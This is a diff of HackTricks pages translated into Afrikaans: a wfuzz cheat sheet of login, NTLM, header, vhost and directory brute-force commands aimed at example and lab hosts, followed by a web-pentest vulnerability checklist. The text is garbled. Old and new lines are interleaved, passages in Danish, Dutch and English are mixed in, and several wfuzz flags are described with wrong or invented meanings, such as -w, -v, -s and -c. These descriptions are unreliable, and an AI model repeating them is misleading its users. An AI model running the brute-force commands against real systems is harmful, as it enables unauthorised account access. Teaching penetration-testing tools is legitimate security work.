#Simple example, match a string: "Invalid username"
@ -188,48 +39,17 @@ Filter op nulwaarde
--hh/sh NUM #Hide/Show by number of chars in response
--hc/sc NUM #Hide/Show by response code
```
## Uitsetopsies
Wfuzz bied verskeie uitsetopsies vir die resultate van 'n fuzzing-aanval. Hier is 'n oorsig van die beskikbare opsies:
- **-o, --output**: Hierdie opsie stel die uitsetlêer in waarin die resultate van die aanval gestoor moet word. Byvoorbeeld: `-o resultate.txt`.
- **-f, --format**: Hierdie opsie stel die uitsetformaat in vir die resultate. Die beskikbare opsies sluit in `json`, `html`, `csv`, `xml`, `yaml`, `pickle`, `raw` en `console`. Byvoorbeeld: `-f json`.
- **-s, --save**: Hierdie opsie stel die uitsetlêer in waarin die resultate van die aanval gestoor moet word, sonder om dit na die skerm te vertoon nie. Byvoorbeeld: `-s resultate.txt`.
- **-d, --dump**: Hierdie opsie stel die uitsetlêer in waarin die volledige HTTP-verkeer van die aanval gestoor moet word. Byvoorbeeld: `-d http_traffic.txt`.
- **-w, --watch**: Hierdie opsie stel die uitsetlêer in waarin die resultate van die aanval gestoor moet word, en dit word outomaties opgedateer as nuwe resultate ontvang word. Byvoorbeeld: `-w resultate.txt`.
- **-v, --verbose**: Hierdie opsie stel die uitsetlêer in waarin die volledige HTTP-verkeer van die aanval gestoor moet word, tesame met die resultate. Byvoorbeeld: `-v http_traffic.txt`.
Dit is belangrik om die regte uitsetopsies te kies om die resultate van 'n fuzzing-aanval effektief te bestuur en te analiseer.
## Uitset opsies
```bash
wfuzz -e printers #Prints the available output formats
-f /tmp/output,csv #Saves the output in that location in csv format
```
### Koderingsopsies
Wfuzz supports various encoding options that can be used during the fuzzing process. These options allow you to manipulate the input data and test different scenarios. The available encoding options are:
- **URL Encoding**: This option encodes special characters in the URL using percent encoding. For example, the space character is encoded as `%20`.
- **HTML Encoding**: This option encodes special characters in HTML entities. For example, the less than symbol `<` is encoded as `&lt;`.
- **Base64 Encoding**: This option encodes the input data using Base64 encoding. It is commonly used to encode binary data.
- **Hex Encoding**: This option encodes the input data using hexadecimal representation. Each byte is represented by two hexadecimal digits.
- **Unicode Encoding**: This option encodes the input data using Unicode characters. It can be useful for testing applications that handle Unicode input.
- **UTF-8 Encoding**: This option encodes the input data using UTF-8 encoding. It is commonly used for internationalization testing.
- **Double URL Encoding**: This option applies URL encoding twice to the input data. It can be useful for bypassing certain security filters.
- **Mixed Encoding**: This option applies a combination of different encodings to the input data. It can be useful for testing complex scenarios.
To use these encoding options in Wfuzz, you can specify the desired encoding using the `--encoding` parameter followed by the encoding type. For example, to use URL encoding, you can use the command `--encoding url`.
### Kodering opsies
```bash
wfuzz -e encoders #Prints the available encoders
#Examples: urlencode, md5, base64, hexlify, uri_hex, doble urlencode
```
Om 'n enkoder te gebruik, moet jy dit aandui in die **"-w"** of **"-z"** opsie.
Om 'n kodering te gebruik, moet jy dit in die **"-w"** of **"-z"** opsie aandui.
Voorbeelde:
```bash
@ -237,230 +57,90 @@ Voorbeelde:
-w /path/to/file,base64 #Will use a list, and transform to base64
-z list,each-element-here,hexlify #Inline list and to hex before sending values
```
## Spiekbriefie
## CheetSheet
### Aantekeningsvorm-bruteforce
### Login Form bruteforce
#### **POST, Enkele lys, filter string (versteek)**
#### **POST, Enkel lys, filter string (versteek)**
```bash
wfuzz -c -w users.txt --hs "Login name" -d "name=FUZZ&password=FUZZ&autologin=1&enter=Sign+in" http://zipper.htb/zabbix/index.php
#Here we have filtered by line
```
#### **POST, 2 lys, filter kode (wys)**
#### **POST, 2 lyste, filter kode (wys)**
```bash
wfuzz.py -c -z file,users.txt -z file,pass.txt --sc 200 -d "name=FUZZ&password=FUZ2Z&autologin=1&enter=Sign+in" http://zipper.htb/zabbix/index.php
#Here we have filtered by code
```
#### **GET, 2 lys, filter string (wys), proxy, koekies**
Wfuzz er en fleksibel værktøj til webapplikationstestning, der kan bruges til at udføre forskellige angreb som fuzzer, brute force og ordlisteangreb. Det understøtter GET-anmodninger, og du kan bruge det til at teste webapplikationer ved at manipulere URL-parametre.
For at bruge Wfuzz skal du angive en URL og en liste over værdier, der skal fuzzes. Du kan også angive en filterstreng for at filtrere de ønskede resultater. Wfuzz understøtter også proxy og cookies, så du kan teste webapplikationer, der kræver autentificering eller er bag en firewall.
Her er et eksempel på, hvordan du kan bruge Wfuzz til at teste en webapplikation:
```bash
wfuzz -c -z file,wordlist.txt --filter "Length: 15" -u "http://example.com/?param=FUZZ"
```
I dette eksempel bruger vi Wfuzz til at fuzz værdien af parameteren "param" i URL'en "http://example.com/". Vi bruger en ordliste fra filen "wordlist.txt" og filtrerer resultaterne for at vise kun dem med en længde på 15 tegn. Vi bruger også cookies og en proxy ved hjælp af flagene "-c" og "-z".
Wfuzz er et kraftfuldt værktøj til webapplikationstestning, der kan hjælpe dig med at identificere sårbarheder og sikkerhedsproblemer i dine webapplikationer. Ved at bruge forskellige fuzzing-teknikker kan du udsætte potentielle svagheder og forbedre sikkerheden i dine applikationer.
#### **KRY, 2 lyste, filter string (wys), proxy, koekies**
```bash
wfuzz -c -w users.txt -w pass.txt --ss "Welcome " -p 127.0.0.1:8080:HTTP -b "PHPSESSIONID=1234567890abcdef;customcookie=hey" "http://example.com/index.php?username=FUZZ&password=FUZ2Z&action=sign+in"
```
### Bruteforce Gids/RESTful bruteforce
### Bruteforce Directory/RESTful bruteforce
[Arjun parameters woordelys](https://raw.githubusercontent.com/s0md3v/Arjun/master/arjun/db/params.txt)
[Arjun parameters wordlist](https://raw.githubusercontent.com/s0md3v/Arjun/master/arjun/db/params.txt)
```
wfuzz -c -w /tmp/tmp/params.txt --hc 404 https://domain.com/api/FUZZ
```
### Padparameters BF
Padparameters BF is 'n tegniek wat gebruik word om padparameters te raai. Padparameters is dinamiese waardes wat in die URL voorkom, soos byvoorbeeld `https://example.com/user/123`. Die waarde `123` is 'n padparameter.
Met die Padparameters BF-tegniek kan 'n aanvaller verskillende waardes vir die padparameter raai om te sien of daar enige sensitiewe inligting of funksionaliteit is wat toeganklik is deur die verandering van die padparameterwaarde. Dit kan nuttig wees om verborge bladsye, API-eindpunte of ander funksionaliteit te ontdek wat nie bedoel is om toeganklik te wees nie.
Die Padparameters BF-tegniek kan uitgevoer word met behulp van hulpmiddels soos WFuzz, wat 'n webtoepassingstoetsingshulpmiddel is wat spesifiek ontwerp is vir die raai van padparameters. WFuzz kan gebruik word om 'n lys moontlike waardes vir die padparameter te verskaf en dit te toets teen die teikenwebwerf om te sien of enige van die waardes toegang tot verborge funksionaliteit bied.
Dit is belangrik om te onthou dat die Padparameters BF-tegniek 'n vorm van aanval is en slegs gebruik moet word met toestemming van die eienaar van die teikenwebwerf.
```bash
wfuzz -c -w ~/git/Arjun/db/params.txt --hw 11 'http://example.com/path%3BFUZZ=FUZZ'
```
### Koptekstige Verifikasie
### Koptekst Verifikasie
#### **Basies, 2 lys, filter string (wys), proxy**
#### **Basies, 2 lyste, filter string (wys), proxy**
```bash
wfuzz -c -w users.txt -w pass.txt -p 127.0.0.1:8080:HTTP --ss "Welcome" --basic FUZZ:FUZ2Z "http://example.com/index.php"
```
#### **NTLM, 2 lys, filter string (wys), proxy**
NTLM is 'n outentifikasieprotokol wat gebruik word in Windows-omgewings. Dit maak gebruik van 'n uitruilproses waar die kliënt en bediener uitruilings van uitdagings en antwoorde doen om die identiteit van die kliënt te bevestig.
Wanneer dit kom by die gebruik van WFuzz om NTLM-gebaseerde aanvalle uit te voer, kan jy twee lyste gebruik: een vir gebruikersname en een vir wagwoorde. Hierdie lyste sal gebruik word om verskillende kombinasies van gebruikersname en wagwoord te probeer om toegang tot 'n stelsel te verkry.
Jy kan ook 'n filterstring spesifiseer om slegs sekere resultate te wys. Hierdie filterstring kan gebruik word om spesifieke patrone of sleutelwoorde in die resultate te soek en slegs die relevante resultate te vertoon.
As jy 'n proxy gebruik, kan jy WFuzz konfigureer om deur die proxy te loop. Dit kan nuttig wees as jy 'n spesifieke proxy wil gebruik vir jou aanvalle of as jy deur 'n sekuriteitsinfrastruktuur moet loop wat 'n proxy vereis.
Hier is 'n voorbeeld van hoe jy WFuzz kan gebruik om NTLM-gebaseerde aanvalle uit te voer met behulp van twee lyste, 'n filterstring en 'n proxy:
```
wfuzz -c -z file,users.txt -z file,passwords.txt --ntlm -F "filterstring" -p 127.0.0.1:8080 http://target.com/login.php
```
Hierdie bevel sal WFuzz konfigureer om die gebruikersname- en wagwoordlyste te gebruik, NTLM-verifikasie te gebruik, die filterstring toe te pas en deur die proxy by 127.0.0.1:8080 te loop. Dit sal die aanval uitvoer teen die doelwit-webwerf se login.php-bladsy.
Onthou om hierdie tegnieke slegs te gebruik vir wettige doeleindes en met toestemming van die eienaar van die teikenstelsel.
#### **NTLM, 2 lyste, filter string (wys), proxy**
```bash
wfuzz -c -w users.txt -w pass.txt -p 127.0.0.1:8080:HTTP --ss "Welcome" --ntlm 'domain\FUZZ:FUZ2Z' "http://example.com/index.php"
```
### Koekie/Header bruteforce (vhost brute)
### Koekie/Kop bruteforce (vhost brute)
#### **Koekie, filter kode (wys), proxy**
```bash
wfuzz -c -w users.txt -p 127.0.0.1:8080:HTTP --ss "Welcome " -H "Cookie:id=1312321&user=FUZZ" "http://example.com/index.php"
```
#### **Gebruiker-Agent, filter kode (versteek), proxy**
Wanneer je webapplicaties aan het testen bent, kan het handig zijn om verschillende User-Agent headers te gebruiken om te zien hoe de applicatie reageert op verschillende browsers en apparaten. Dit kan je helpen om eventuele kwetsbaarheden of fouten in de applicatie te identificeren.
Een handige tool om User-Agent headers te testen is wfuzz. Met wfuzz kun je eenvoudig verschillende User-Agent headers uitproberen en de reactie van de applicatie observeren. Hier is een voorbeeld van hoe je wfuzz kunt gebruiken om User-Agent headers te testen:
```
wfuzz -c -z file,/path/to/useragents.txt --hc 404 http://example.com/FUZZ
```
In dit voorbeeld gebruiken we een lijst met User-Agent headers die zijn opgeslagen in het bestand `/path/to/useragents.txt`. Wfuzz zal elke User-Agent header uit de lijst proberen en de reactie van de applicatie observeren. De optie `--hc 404` zorgt ervoor dat wfuzz alleen de headers weergeeft waarbij de statuscode 404 is.
Het is ook mogelijk om wfuzz te gebruiken in combinatie met een proxy. Dit kan handig zijn als je de verkeersstroom tussen je machine en de applicatie wilt observeren en manipuleren. Om wfuzz met een proxy te gebruiken, kun je de volgende optie toevoegen:
```
wfuzz -c -z file,/path/to/useragents.txt --hc 404 --proxy http://localhost:8080 http://example.com/FUZZ
```
In dit voorbeeld gebruiken we een proxy die op `localhost` draait op poort `8080`. Wfuzz zal het verkeer via deze proxy sturen, zodat je het kunt observeren en manipuleren met behulp van een tool zoals Burp Suite.
Het gebruik van User-Agent headers, het filteren van code en het gebruik van een proxy zijn allemaal nuttige technieken bij het testen van webapplicaties. Door deze technieken te combineren met andere pentesting-tools en -methoden, kun je kwetsbaarheden en fouten in de applicatie identificeren en helpen bij het verbeteren van de beveiliging ervan.
#### **Gebruiker-Agent, filterkode (versteek), proxy**
```bash
wfuzz -c -w user-agents.txt -p 127.0.0.1:8080:HTTP --ss "Welcome " -H "User-Agent: FUZZ" "http://example.com/index.php"
```
#### **Gasheer**
#### **Gashere**
```bash
wfuzz -c -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-
top1million-20000.txt --hc 400,404,403 -H "Host: FUZZ.example.com" -u
http://example.com -t 100
```
#### **Metode vir HTTP Verbs (metodes) bruteforce**
### HTTP Werkwoorde (metodes) bruteforce
##### **Met behulp van 'n lêer**
Om HTTP-verbindingsmetodes te bruteforce, kan jy 'n lêer gebruik wat 'n lys van moontlike metodes bevat. Hier is 'n voorbeeld van hoe jy dit kan doen met wfuzz:
```plaintext
wfuzz -c -z file,methods.txt http://example.com/FUZZ
```
In hierdie voorbeeld sal wfuzz die lêer "methods.txt" gebruik om die moontlike metodes te lewer. Die FUZZ-teken sal vervang word deur elke metode in die lêer terwyl dit die aanvrae uitvoer. Die "-c" vlag sal die responskodes van die webbediener vertoon.
Jy kan jou eie lêer met metodes skep deur elke metode op 'n nuwe lyn te plaas. Byvoorbeeld:
```plaintext
GET
POST
PUT
DELETE
```
Hierdie tegniek kan nuttig wees om te bepaal of 'n webbediener onverwagte of ongedokumenteerde metodes ondersteun.
#### **Gebruik lêer**
```bash
wfuzz -c -w methods.txt -p 127.0.0.1:8080:HTTP --sc 200 -X FUZZ "http://example.com/index.php"
```
#### **Gebruik van inline-lys**
Sometimes, when you are fuzzing a web application, you may need to provide a list of values as input to a specific parameter. This can be done using the `--list` option in `wfuzz`. However, if you have a small list of values, you can use the inline list feature of `wfuzz` to provide the values directly in the command line.
Soms, wanneer jy 'n webtoepassing fuzz, mag jy 'n lys waardes as insette vir 'n spesifieke parameter moet voorsien. Dit kan gedoen word deur die `--list` opsie in `wfuzz` te gebruik. As jy egter 'n klein lys waardes het, kan jy die inline-lysfunksie van `wfuzz` gebruik om die waardes direk in die opdraglyn te voorsien.
To use the inline list feature, you need to enclose the list of values in curly braces `{}` and separate each value with a comma. For example, if you want to fuzz the `id` parameter with the values `1`, `2`, and `3`, you can use the following command:
Om die inline-lysfunksie te gebruik, moet jy die lys waardes in krulhakies `{}` insluit en elke waarde met 'n komma skei. Byvoorbeeld, as jy die `id` parameter met die waardes `1`, `2`, en `3` wil fuzz, kan jy die volgende opdrag gebruik:
```
wfuzz -u http://example.com/?id=FUZZ -z {1,2,3}
```
In this example, `FUZZ` is a placeholder that will be replaced by each value in the inline list. The `-z` option is used to specify the inline list.
In hierdie voorbeeld is `FUZZ` 'n plasinghouer wat deur elke waarde in die inline-lys vervang sal word. Die `-z` opsie word gebruik om die inline-lys te spesifiseer.
You can also use the inline list feature with multiple parameters. Simply enclose each parameter's list of values in curly braces and separate them with a comma. For example:
Jy kan ook die inline-lysfunksie met meervoudige parameters gebruik. Sluit eenvoudig elke parameter se lys waardes in krulhakies in en skei hulle met 'n komma. Byvoorbeeld:
```
wfuzz -u http://example.com/?id=FUZZ&name=FUZ2Z -z {1,2,3},{a,b,c}
```
In this example, the `id` parameter will be fuzzed with the values `1`, `2`, and `3`, while the `name` parameter will be fuzzed with the values `a`, `b`, and `c`.
In hierdie voorbeeld sal die `id` parameter gefuzz word met die waardes `1`, `2`, en `3`, terwyl die `name` parameter gefuzz word met die waardes `a`, `b`, en `c`.
#### **Gebruik van inline lys**
```bash
$ wfuzz -z list,GET-HEAD-POST-TRACE-OPTIONS -X FUZZ http://testphp.vulnweb.com/
```
### Gids & Lêers Bruteforce
#### Wat is 'n Bruteforce-aanval?
'n Bruteforce-aanval is 'n metode wat gebruik word deur aanvallers om toegang te verkry tot 'n stelsel of rekening deur herhaaldelik verskillende kombinasies van gebruikersname en wagwoorde te probeer totdat die regte kombinasie gevind word. Dit is 'n baie tydrowende proses, maar dit kan effektief wees as die regte kombinasie uiteindelik gevind word.
#### WFuzz
WFuzz is 'n kragtige webtoepassingstoetsinstrument wat gebruik kan word vir gids- en lêersbruteforce-aanvalle. Dit maak gebruik van 'n woordelys van moontlike gids- en lêernaamkombinasies om te probeer om toegang te verkry tot verborge of onbekende gids- en lêers op 'n webwerf.
#### Hoe om WFuzz te gebruik vir gids- en lêersbruteforce
Om WFuzz te gebruik vir gids- en lêersbruteforce, moet jy 'n woordelys hê wat moontlike gids- en lêernaamkombinasies bevat. Hier is die basiese sintaksis vir die gebruik van WFuzz:
```bash
wfuzz -c -z file,<wordlist> -u <target_url>/FUZZ
```
- Die `-c` vlag vertel WFuzz om die HTTP-statuskode te toon vir elke versoek.
- Die `-z file,<wordlist>` vlag vertel WFuzz om die woordelys te gebruik vir die FUZZ-parameter.
- Die `-u <target_url>/FUZZ` vlag vertel WFuzz om die FUZZ-parameter te vervang met elke gids- en lêernaamkombinasie in die woordelys.
#### Voorbeeld
Hier is 'n voorbeeld van hoe jy WFuzz kan gebruik om gids- en lêersbruteforce uit te voer:
```bash
wfuzz -c -z file,wordlist.txt -u http://example.com/FUZZ
```
In hierdie voorbeeld sal WFuzz elke gids- en lêernaamkombinasie in die `wordlist.txt`-woordelys probeer deur dit te vervang met die FUZZ-parameter in die URL `http://example.com/FUZZ`. Die `-c`-vlag sal die HTTP-statuskode vir elke versoek toon.
#### Gevolgtrekking
Gids- en lêersbruteforce is 'n nuttige tegniek wat gebruik kan word om verborge of onbekende gids- en lêers op 'n webwerf te vind. WFuzz is 'n kragtige instrument wat jou kan help om hierdie aanval uit te voer deur 'n woordelys van moontlike kombinasies te gebruik. Onthou egter dat die gebruik van hierdie tegniek sonder toestemming van die eienaar van die webwerf onwettig is en streng bestraf kan word.
```bash
#Filter by whitelisting codes
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --sc 200,202,204,301,302,307,403 http://example.com/uploads/FUZZ
```
## Gereedskap om Webs te omseil
## Tool om Webs te omseil
[https://github.com/carlospolop/fuzzhttpbypass](https://github.com/carlospolop/fuzzhttpbypass)
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,154 +1,157 @@
# Web Kwesbaarhede Metodologie
# Web Vulnerabilities Methodology
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
In elke Web Pentest is daar **verskeie verborge en duidelike plekke wat kwesbaar kan wees**. Hierdie pos is bedoel om 'n lys te wees om te bevestig dat jy na kwesbaarhede in al die moontlike plekke gesoek het.
In elke Web Pentest, is daar **verskeie verborge en voor die hand liggende plekke wat kwesbaar mag wees**. Hierdie pos is bedoel as 'n kontrolelys om te bevestig dat jy vir kwesbaarhede in al die moontlike plekke gesoek het.
## Proxies
{% hint style="info" %}
Tans gebruik **webtoepassings** gewoonlik 'n soort **tussenliggende** **proksi's**, wat misbruik kan word om kwesbaarhede uit te buit. Hierdie kwesbaarhede vereis 'n kwesbare proksi, maar hulle vereis gewoonlik ook 'n ekstra kwesbaarheid in die agterkant.
Tans **gebruik** **web** **toepassings** gewoonlik 'n soort **tussenpersoon** **proxies**, hierdie kan (mis)bruik word om kwesbaarhede te ontgin. Hierdie kwesbaarhede benodig 'n kwesbare proxy om in plek te wees, maar hulle benodig gewoonlik ook 'n ekstra kwesbaarheid in die agtergrond.
{% endhint %}
* [ ] [**Misbruik van hop-by-hop-koptekens**](../abusing-hop-by-hop-headers.md)
* [ ] [**Cache-vergiftiging/Cache-bedrog**](../cache-deception.md)
* [ ] [**HTTP-aanvraag-smuggling**](../http-request-smuggling/)
* [ ] [**H2C-smuggling**](../h2c-smuggling.md)
* [ ] [**Bedienersy-invoeging/Edge-sy-invoeging**](../server-side-inclusion-edge-side-inclusion-injection.md)
* [ ] [**Misbruik van hop-by-hop headers**](../abusing-hop-by-hop-headers.md)
* [ ] [**Cache Poisoning/Cache Deception**](../cache-deception.md)
* [ ] [**HTTP Request Smuggling**](../http-request-smuggling/)
* [ ] [**H2C Smuggling**](../h2c-smuggling.md)
* [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
* [ ] [**Ontdek Cloudflare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
* [ ] [**XSLT-bedienersy-injectie**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
* [ ] [**Proksi / WAF-beskerming omseil**](../proxy-waf-protections-bypass.md)
* [ ] [**XSLT Server Side Injection**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
* [ ] [**Proxy / WAF Beskerming Bypass**](../proxy-waf-protections-bypass.md)
## **Gebruikersinvoer**
## **Gebruiker invoer**
{% hint style="info" %}
Die meeste webtoepassings sal **gebruikers toelaat om sekere data in te voer wat later verwerk sal word.**\
Afhanklik van die struktuur van die data wat die bediener verwag, mag sommige kwesbaarhede van toepassing wees en ander nie.
Afhangende van die struktuur van die data wat die bediener verwag, mag sommige kwesbaarhede van toepassing wees of nie.
{% endhint %}
### **Gereflekteerde waardes**
### **Gereflecteerde Waardes**
As die ingevoerde data op een of ander manier in die respons gereflekteer kan word, kan die bladsy kwesbaar wees vir verskeie probleme.
As die ingevoerde data op een of ander manier in die antwoord weerspieël kan word, mag die bladsy kwesbaar wees vir verskeie probleme.
* [ ] [**Kliëntkant-sjablooninjeksie**](../client-side-template-injection-csti.md)
* [ ] [**Opdraginjeksie**](../command-injection.md)
* [ ] [**Kliëntkant Sjabloon Injektering**](../client-side-template-injection-csti.md)
* [ ] [**Opdrag Injektering**](../command-injection.md)
* [ ] [**CRLF**](../crlf-0d-0a.md)
* [ ] [**Hangende merkups**](../dangling-markup-html-scriptless-injection/)
* [ ] [**Lêerinsluiting/Padtraversal**](../file-inclusion/)
* [ ] [**Oop omleiding**](../open-redirect.md)
* [ ] [**Prototipevervuiling na XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
* [ ] [**Bedienersy-invoeging/Edge-sy-invoeging**](../server-side-inclusion-edge-side-inclusion-injection.md)
* [ ] [**Bedienersy-aanvraagvervalsering**](../ssrf-server-side-request-forgery/)
* [ ] [**Bedienersy-sjablooninjeksie**](../ssti-server-side-template-injection/)
* [ ] [**Omgekeerde Tab Nabbing**](../reverse-tab-nabbing.md)
* [ ] [**XSLT-bedienersy-injectie**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
* [ ] [**Hangende Markup**](../dangling-markup-html-scriptless-injection/)
* [ ] [**Lêer Insluiting/Pad Traversal**](../file-inclusion/)
* [ ] [**Open Redirect**](../open-redirect.md)
* [ ] [**Prototipe Besoedeling na XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
* [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
* [ ] [**Server Side Request Forgery**](../ssrf-server-side-request-forgery/)
* [ ] [**Server Side Sjabloon Injektering**](../ssti-server-side-template-injection/)
* [ ] [**Reverse Tab Nabbing**](../reverse-tab-nabbing.md)
* [ ] [**XSLT Server Side Injection**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
* [ ] [**XSS**](../xss-cross-site-scripting/)
* [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
* [ ] [**XS-Soek**](../xs-search.md)
* [ ] [**XS-Search**](../xs-search.md)
Sommige van die genoemde kwesbaarhede vereis spesiale toestande, ander vereis net dat die inhoud gereflekteer word. Jy kan interessante polyglots vind om vinnig die kwesbaarhede te toets in:
Sommige van die genoemde kwesbaarhede vereis spesiale toestande, ander vereis net dat die inhoud weerspieël moet word. Jy kan 'n paar interessante polyglotte vind om vinnig die kwesbaarhede te toets in:
{% content-ref url="../pocs-and-polygloths-cheatsheet/" %}
[pocs-and-polygloths-cheatsheet](../pocs-and-polygloths-cheatsheet/)
{% endcontent-ref %}
### **Soekfunksies**
### **Soek funksies**
As die funksionaliteit gebruik kan word om sekere soort data binne die agterkant te soek, kan jy dit dalk (mis)bruik om arbitêre data te soek.
As die funksionaliteit gebruik kan word om 'n soort data in die agtergrond te soek, kan jy dit dalk (mis)bruik om arbitrêre data te soek.
* [ ] [**Lêerinsluiting/Padtraversal**](../file-inclusion/)
* [ ] [**NoSQL-injeksie**](../nosql-injection.md)
* [ ] [**LDAP-injeksie**](../ldap-injection.md)
* [ ] [**Lêer Insluiting/Pad Traversal**](../file-inclusion/)
* [ ] [**NoSQL Injektering**](../nosql-injection.md)
* [ ] [**LDAP Injektering**](../ldap-injection.md)
* [ ] [**ReDoS**](../regular-expression-denial-of-service-redos.md)
* [ ] [**SQL-injeksie**](../sql-injection/)
* [ ] [**XPATH-injeksie**](../xpath-injection.md)
* [ ] [**SQL Injektering**](../sql-injection/)
* [ ] [**XPATH Injektering**](../xpath-injection.md)
### **Vorms, WebSockets en PostMsgs**
Wanneer 'n websocket 'n boodskap plaas of 'n vorm toelaat dat gebruikers aksies kan uitvoer, kan kwesbaarhede ontstaan.
Wanneer 'n websocket 'n boodskap pos of 'n vorm toelaat dat gebruikers aksies uitvoer, mag kwesbaarhede ontstaan.
* [ ] [**Cross Site Request Forgery**](../csrf-cross-site-request-forgery.md)
* [ ] [**Cross-site WebSocket hijacking (CSWSH)**](../websocket-attacks.md)
* [ ] [**PostMessage-kwesbaarhede**](../postmessage-vulnerabilities/)
* [ ] [**Cross-site WebSocket kaping (CSWSH)**](../websocket-attacks.md)
* [ ] [**PostMessage Kwesbaarhede**](../postmessage-vulnerabilities/)
### **HTTP-koptekens**
### **HTTP Headers**
Afhanklik van die HTTP-koptekens wat deur die webbediener verskaf word, mag sommige kwesbaarhede teenwoordig wees.
Afhangende van die HTTP headers wat deur die webbediener gegee word, mag sommige kwesbaarhede teenwoordig wees.
* [ ] [**Clickjacking**](../clickjacking.md)
* [ ] [**Inhoudsveiligheidsbeleid omseil**](../content-security-policy-csp-bypass/)
* [ ] [**Koekies-hacking**](../hacking-with-cookies/)
* [ ] [**CORS - Misconfigurations & Bypass**](../cors-bypass.md)
* [ ] [**Inhoud Sekuriteit Beleid bypass**](../content-security-policy-csp-bypass/)
* [ ] [**Koekies Hacking**](../hacking-with-cookies/)
* [ ] [**CORS - Misconfigurasies & Bypass**](../cors-bypass.md)
### **Omseilings**
### **Bypasses**
Daar is verskeie spesifieke funksionaliteite waar sekere omseilings nuttig kan wees om hulle te omseil.
Daar is verskeie spesifieke funksies waar sommige omseilings nuttig mag wees om te omseil.
* [ ] [**2FA/OTP-omseiling**](../2fa-bypass.md)
* [ ] [**Betaalproses omseil**](../bypass-payment-process.md)
* [ ] [**Captcha-omseiling**](../captcha-bypass.md)
* [ ] [**Aantekenomseiling**](../login-bypass/)
* [ ] [**Racevoorwaarde**](../race-condition.md)
